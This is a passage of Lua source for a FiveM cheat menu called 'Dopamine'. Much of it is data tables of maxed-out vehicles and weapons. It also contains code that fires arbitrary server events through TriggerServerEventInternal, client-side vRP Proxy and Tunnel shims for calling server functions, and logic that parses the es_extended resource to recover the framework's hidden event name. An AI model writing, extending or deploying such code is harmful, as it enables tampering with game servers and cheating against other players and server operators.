= -1,["wheels"] = 3,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 0,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
  242.  
  243. {name = 'Chevrolet Corvette C7', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.059999998658895,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 6.4,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 874739883,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = -1,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 134,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 0,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 4,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 134,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 2,["modAerials"] = -1,}},
  244.  
  245. {name = 'Dodge Challenger 2016', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 5,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 7.5,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -216150906,["modAPlate"] = -1,["modHood"] = 4,["wheelColor"] = 12,["modRightFender"] = 0,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = false,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 28,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = 2,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 4,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = 0,["color2"] = 28,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 4,["modAerials"] = -1,}},
  246. {name = 'Dodge Charger 2016', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 6,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = 4,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 5.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -1513691047,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = 1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 2,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = 1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 0,["modAerials"] = -1,}},
  247. {name = 'Dodge Viper 1999', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = -1,["suspensionRaise"] = -0.0099999997764826,["fuelLevel"] = 60.0,["modLivery"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = -1,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 10.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 726460559,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 28,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 28,["modFrame"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 1,["modAerials"] = -1,}},
  248.  
  249. {name = 'Ford Mustang 1995', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 2,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 89,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 3.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 688884119,["modAPlate"] = -1,["modHood"] = 3,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["1"] = true,["2"] = true,["3"] = true,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 138,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 7,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 89,["modFrame"] = 1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 5,["modAerials"] = -1,}},
  250. {name = 'Ford Mustang 2019', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 6,["suspensionRaise"] = 0.0,["fuelLevel"] = 60.0,["modLivery"] = 5,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = 1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 3,["modTrunk"] = -1,["dirtLevel"] = 10.1,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = 1311724675,["modAPlate"] = -1,["modHood"] = 1,["wheelColor"] = 156,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { } ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 1,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = -1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 89,["modFrame"] = 0,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 5,["modAerials"] = -1,}},
  251.  
  252. {name = 'Honda S2000 AP2', props = {["modOrnaments"] = -1,["modTrimB"] = -1,["modTank"] = -1,["modFrontBumper"] = 1,["suspensionRaise"] = -0.070000000298023,["fuelLevel"] = 60.0,["modLivery"] = -1,["modBrakes"] = 2,["windowTint"] = 1,["modSideSkirt"] = 0,["modEngineBlock"] = -1,["tyreSmokeColor"] = { [1] = 255,[2] = 255,[3] = 255,["n"] = 3,} ,["pearlescentColor"] = 12,["modDoorSpeaker"] = -1,["modTransmission"] = 2,["modRoof"] = -1,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modSuspension"] = 2,["modTrunk"] = -1,["dirtLevel"] = 5.2,["modSteeringWheel"] = -1,["xenonColor"] = 255,["modArchCover"] = -1,["model"] = -1549019518,["modAPlate"] = -1,["modHood"] = 0,["wheelColor"] = 12,["modRightFender"] = -1,["modXenon"] = 1,["modWindows"] = -1,["bodyHealth"] = 1000.0,["engineHealth"] = 1000.0,["modHydrolic"] = -1,["modExhaust"] = 0,["modSmokeEnabled"] = 1,["modShifterLeavers"] = -1,["modSeats"] = -1,["extras"] = { ["2"] = false,} ,["modArmor"] = 4,["modTurbo"] = 1,["modTrimA"] = -1,["color1"] = 12,["modEngine"] = 3,["modVanityPlate"] = -1,["wheels"] = 0,["modFender"] = -1,["modPlateHolder"] = -1,["modRearBumper"] = 1,["modHorns"] = -1,["modFrontWheels"] = -1,["modBackWheels"] = -1,["modAirFilter"] = -1,["modDashboard"] = -1,["plateIndex"] = 1,["modDial"] = -1,["modStruts"] = -1,["modGrille"] = -1,["color2"] = 0,["modFrame"] = 1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["modSpeakers"] = -1,["modSpoilers"] = 1,["modAerials"] = -1,}},
  253.  
  254. {name = 'Range Rover Vogue ST', props = {["fuelLevel"] = 60.0,["modRightFender"] = 0,["suspensionRaise"] = -0.029999995604157,["modLivery"] = -1,["modDial"] = -1,["color1"] = 134,["modDashboard"] = -1,["modOrnaments"] = -1,["modFrontBumper"] = 1,["modSuspension"] = 3,["modAPlate"] = -1,["modTransmission"] = 2,["modTrimB"] = -1,["modAerials"] = -1,["modArchCover"] = -1,["modBackWheels"] = -1,["neonColor"] = { [1] = 255,[2] = 0,[3] = 255,["n"] = 3,} ,["plateIndex"] = 0,["modBrakes"] = 2,["windowTint"] = 1,["modAirFilter"] = -1,["modStruts"] = -1,["extras"] = { ["1"] = false,["2"] = true,} ,["modFrontWheels"] = -1,["wheels"] = 3,["modTrunk"] = -1,["modSpeakers"] = -1,["modSteeringWheel"] = -1,["modTrimA"] = -1,["modExhaust"] = 1,["modSideSkirt"] = -1,["pearlescentColor"] = 12,["modRoof"] = -1,["modSpoilers"] = 0,["modSeats"] = -1,["modRearBumper"] = -1,["modHood"] = 1,["modDoorSpeaker"] = -1,["modTurbo"] = 1,["modSmokeEnabled"] = 1,["tyreSmokeColor"] = { [1] = 255,[2] = 0,[3] = 0,["n"] = 3,} ,["modWindows"] = -1,["modTank"] = -1,["modXenon"] = 1,["modVanityPlate"] = -1,["engineHealth"] = 1000.0,["wheelColor"] = 111,["modPlateHolder"] = -1,["modEngineBlock"] = -1,["modEngine"] = 3,["bodyHealth"] = 1000.0,["modArmor"] = 4,["color2"] = 150,["modHorns"] = -1,["modShifterLeavers"] = -1,["modHydrolic"] = -1,["modFrame"] = 0,["xenonColor"] = 255,["model"] = 1993609528,["modFender"] = 0,["neonEnabled"] = { [1] = false,[2] = false,[3] = false,[4] = false,} ,["modGrille"] = 1,["dirtLevel"] = 4.0,}},
  255. },
  256. savedVehiclesOptionsHandle = nil,
  257. savedVehiclesOptionsDeleteHandle = nil,
  258. },
  259.  
  260. mainColor = {
  261. r = 225,
  262. g = 55,
  263. b = 55,
  264. a = 255
  265. },
  266. menuTabsColors = {
  267. selfOptions = {r=255, g=255, b=255},
  268. onlineOptions = {r=255, g=255, b=255},
  269. visualOptions = {r=255, g=255, b=255},
  270. teleportOptions = {r=255, g=255, b=255},
  271. vehicleOptions = {r=255, g=255, b=255},
  272. weaponOptions = {r=255, g=255, b=255},
  273. serverOptions = {r=255, g=255, b=255},
  274. menuOptions = {r=255, g=255, b=255}
  275. },
  276. }
  277.  
  278. Dopamine.dTCE = function(delayed, server, event, ...)
  279. if delayed then
  280. pCreateThread(function() pWait(50) end)
  281. end
  282.  
  283. local payload = msgpack.pack({...})
  284. if server then
  285. TriggerServerEventInternal(event, payload, payload:len())
  286. else
  287. TriggerEventInternal(event, payload, payload:len())
  288. end
  289. end
  290.  
  291. --[[ PROXY CLIENT-SIDE VERSION (https://github.com/ImagicTheCat/vRP)]]
  292. --[[ Proxy interface system, used to add/call functions between resources]]
  293. local Proxy = {}
  294. local proxy_rdata = {}
  295. local function proxy_callback(rvalues)
  296. proxy_rdata = rvalues
  297. end
  298. local function proxy_resolve(itable, key)
  299. local iname = getmetatable(itable).name
  300. local fcall = function(args, callback)
  301. if args == nil then
  302. args = {}
  303. end
  304. Dopamine.dTCE(false, false, iname .. ":proxy", key, args, proxy_callback)
  305. return table.unpack(proxy_rdata)
  306. end
  307. itable[key] = fcall
  308. return fcall
  309. end
  310. function Proxy.addInterface(name, itable)
  311. AddEventHandler(
  312. name .. ":proxy",
  313. function(member, args, callback)
  314. local f = itable[member]
  315. if type(f) == "function" then
  316. callback({f(table.unpack(args))})
  317. else
  318. end
  319. end
  320. )
  321. end
  322. function Proxy.getInterface(name)
  323. local r = setmetatable({}, {__index = proxy_resolve, name = name})
  324. return r
  325. end
  326. --[[ TUNNEL CLIENT SIDE VERSION (https://github.com/ImagicTheCat/vRP)]]
  327. local Tools = {}
  328. local IDGenerator = {}
  329. function Tools.newIDGenerator()
  330. local r = setmetatable({}, {__index = IDGenerator})
  331. r:construct()
  332. return r
  333. end
  334. function IDGenerator:construct()
  335. self:clear()
  336. end
  337. function IDGenerator:clear()
  338. self.max = 0
  339. self.ids = {}
  340. end
  341. function IDGenerator:gen()
  342. if #self.ids > 0 then
  343. return table.remove(self.ids)
  344. else
  345. local r = self.max
  346. self.max = self.max + 1
  347. return r
  348. end
  349. end
  350. function IDGenerator:free(id)
  351. table.insert(self.ids, id)
  352. end
  353. local Tunnel = {}
  354. local function tunnel_resolve(itable, key)
  355. local mtable = getmetatable(itable)
  356. local iname = mtable.name
  357. local ids = mtable.tunnel_ids
  358. local callbacks = mtable.tunnel_callbacks
  359. local identifier = mtable.identifier
  360. local fcall = function(args, callback)
  361. if args == nil then
  362. args = {}
  363. end
  364. if type(callback) == "function" then
  365. local rid = ids:gen()
  366. callbacks[rid] = callback
  367. Dopamine.dTCE(false, true, iname .. ":tunnel_req", key, args, identifier, rid)
  368. else
  369. Dopamine.dTCE(false, true, iname .. ":tunnel_req", key, args, "", -1)
  370. end
  371. end
  372. itable[key] = fcall
  373. return fcall
  374. end
  375. function Tunnel.bindInterface(name, interface)
  376. RegisterNetEvent(name .. ":tunnel_req")
  377. AddEventHandler(
  378. name .. ":tunnel_req",
  379. function(member, args, identifier, rid)
  380. local f = interface[member]
  381. local delayed = false
  382. local rets = {}
  383. if
  384. type(f) == "function"
  385. then
  386. TUNNEL_DELAYED = function()
  387. delayed = true
  388. return function(rets)
  389. rets = rets or {}
  390. if rid >= 0 then
  391. Dopamine.dTCE(false, true, name .. ":" .. identifier .. ":tunnel_res", rid, rets)
  392. end
  393. end
  394. end
  395. rets = {f(table.unpack(args))}
  396. end
  397. if not delayed and rid >= 0 then
  398. Dopamine.dTCE(false, true, name .. ":" .. identifier .. ":tunnel_res", rid, rets)
  399. end
  400. end
  401. )
  402. end
  403. function Tunnel.getInterface(name, identifier)
  404. local ids = Tools.newIDGenerator()
  405. local callbacks = {}
  406. local r =
  407. setmetatable(
  408. {},
  409. {__index = tunnel_resolve, name = name, tunnel_ids = ids, tunnel_callbacks = callbacks, identifier = identifier}
  410. )
  411. RegisterNetEvent(name .. ":" .. identifier .. ":tunnel_res")
  412. AddEventHandler(
  413. name .. ":" .. identifier .. ":tunnel_res",
  414. function(rid, args)
  415. local callback = callbacks[rid]
  416. if callback ~= nil then
  417. ids:free(rid)
  418. callbacks[rid] = nil
  419. callback(table.unpack(args))
  420. end
  421. end
  422. )
  423. return r
  424. end
  425. local vRP = Proxy.getInterface("vRP")
  426.  
  427. Dopamine.datastore.es_extended = Dopamine.natives.loadResourceFile('es_extended', 'client/common.lua')
  428. if Dopamine.datastore.es_extended and string.len(Dopamine.datastore.es_extended) > 65 then
  429. local toFilter = {
  430. 'AddEventHandler',
  431. 'cb',
  432. 'function ',
  433. 'exports',
  434. 'return ESX',
  435. 'return ExM',
  436. 'getExtendedModeObject',
  437. '(ESX)',
  438. 'function',
  439. 'getSharedObject%(%)',
  440. 'end',
  441. '%(',
  442. '%)',
  443. ',',
  444. '\'',
  445. '"',
  446. 'UG',
  447. 'tonum',
  448. '\n',
  449. '%s+',
  450. }
  451. for i=1, #toFilter do
  452. Dopamine.datastore.es_extended = Dopamine.datastore.es_extended:gsub(toFilter[i], '')
  453. end
  454. end
  455.  
  456. --[[pCreateThread(function()
  457. while Dopamine.shouldShowMenu and Dopamine.datastore.es_extended and Dopamine.datastore.ESX == nil do
  458. Dopamine.dTCE(false, false, tostring(Dopamine.datastore.es_extended), function(a) Dopamine.datastore.ESX = a end)
  459. pWait(30000)
  460. end
  461. end)]]
  462.  
  463. Dopamine.trashTables.weaponsTable = { Melee = { BaseballBat = { id = 'weapon_bat', name = '~s~~s~Baseball Bat', bInfAmmo = false, mods = {} }, BrokenBottle = { id = 'weapon_bottle', name = '~s~~s~Broken Bottle', bInfAmmo = false, mods = {} }, Crowbar = { id = 'weapon_Crowbar', name = '~s~~s~Crowbar', bInfAmmo = false, mods = {} }, Flashlight = { id = 'weapon_flashlight', name = '~s~~s~Flashlight', bInfAmmo = false, mods = {} }, GolfClub = { id = 'weapon_golfclub', name = '~s~~s~Golf Club', bInfAmmo = false, mods = {} }, BrassKnuckles = { id = 'weapon_knuckle', name = '~s~~s~Brass Knuckles', bInfAmmo = false, mods = {} }, Knife = { id = 'weapon_knife', name = '~s~~s~Knife', bInfAmmo = false, mods = {} }, Machete = { id = 'weapon_machete', name = '~s~~s~Machete', bInfAmmo = false, mods = {} }, Switchblade = { id = 'weapon_switchblade', name = '~s~~s~Switchblade', bInfAmmo = false, mods = {} }, Nightstick = { id = 'weapon_nightstick', name = '~s~~s~Nightstick', bInfAmmo = false, mods = {} }, BattleAxe = { id = 'weapon_battleaxe', name = '~s~~s~Battle Axe', bInfAmmo = false, mods = {} } }, Handguns = { Pistol = { id = 'weapon_pistol', name = '~s~~s~Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_PISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_PISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, PistolMK2 = { id = 'weapon_pistol_mk2', name = '~s~~s~Pistol MK 2', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_PISTOL_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_PISTOL_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_PISTOL_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Mounted Scope', id = 'COMPONENT_AT_PI_RAIL' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH_02' } }, BarrelAttachments = { { name = '~s~~s~Compensator', id = 'COMPONENT_AT_PI_COMP' }, { name = '~s~~s~Suppessor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, CombatPistol = { id = 'weapon_combatpistol', name = '~s~~s~Combat Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_COMBATPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_COMBATPISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, APPistol = { id = 'weapon_appistol', name = '~s~~s~AP Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_APPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_APPISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, StunGun = { id = 'weapon_stungun', name = '~s~~s~Stun Gun', bInfAmmo = false, mods = {} }, Pistol50 = { id = 'weapon_pistol50', name = '~s~~s~Pistol .50', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_PISTOL50_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_PISTOL50_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, SNSPistol = { id = 'weapon_snspistol', name = '~s~~s~SNS Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SNSPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SNSPISTOL_CLIP_02' } } } }, SNSPistolMkII = { id = 'weapon_snspistol_mk2', name = '~s~~s~SNS Pistol Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_02' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_SNSPISTOL_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Mounted Scope', id = 'COMPONENT_AT_PI_RAIL_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH_03' } }, BarrelAttachments = { { name = '~s~~s~Compensator', id = 'COMPONENT_AT_PI_COMP_02' }, { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP_02' } } } }, HeavyPistol = { id = 'weapon_heavypistol', name = '~s~~s~Heavy Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_HEAVYPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_HEAVYPISTOL_CLIP_02' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, VintagePistol = { id = 'weapon_vintagepistol', name = '~s~~s~Vintage Pistol', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_VINTAGEPISTOL_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_VINTAGEPISTOL_CLIP_02' } }, BarrelAttachments = { { 'Suppressor', id = 'COMPONENT_AT_PI_SUPP' } } } }, FlareGun = { id = 'weapon_flaregun', name = '~s~~s~Flare Gun', bInfAmmo = false, mods = {} }, MarksmanPistol = { id = 'weapon_marksmanpistol', name = '~s~~s~Marksman Pistol', bInfAmmo = false, mods = {} }, HeavyRevolver = { id = 'weapon_revolver', name = '~s~~s~Heavy Revolver', bInfAmmo = false, mods = {} }, HeavyRevolverMkII = { id = 'weapon_revolver_mk2', name = '~s~~s~Heavy Revolver Mk II', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_01' }, { name = '~s~~s~Tracer Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_TRACER' }, { name = '~s~~s~Incendiary Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY' }, { name = '~s~~s~Hollow Point Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT' }, { name = '~s~~s~FMJ Rounds', id = 'COMPONENT_REVOLVER_MK2_CLIP_FMJ' } }, Sights = { { name = '~s~~s~Holograhpic Sight', id = 'COMPONENT_AT_SIGHTS' }, { name = '~s~~s~Small Scope', id = 'COMPONENT_AT_SCOPE_MACRO_MK2' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Compensator', id = 'COMPONENT_AT_PI_COMP_03' } } } }, DoubleActionRevolver = { id = 'weapon_doubleaction', name = '~s~~s~Double Action Revolver', bInfAmmo = false, mods = {} }, UpnAtomizer = { id = 'weapon_raypistol', name = '~s~~s~Up-n-Atomizer', bInfAmmo = false, mods = {} } }, SMG = { MicroSMG = { id = 'weapon_microsmg', name = '~s~~s~Micro SMG', bInfAmmo = false, mods = { Magazines = { { name = '~s~~s~Default Magazine', id = 'COMPONENT_MICROSMG_CLIP_01' }, { name = '~s~~s~Extended Magazine', id = 'COMPONENT_MICROSMG_CLIP_02' } }, Sights = { { name = '~s~~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO' } }, Flashlight = { { name = '~s~~s~Flashlight', id = 'COMPONENT_AT_PI_FLSH' } }, BarrelAttachments = { { name = '~s~~s~Suppressor', id = 'COMPONENT_AT_AR_SUPP_02' } } } }, SMG = { id = 'weapon_smg', name = 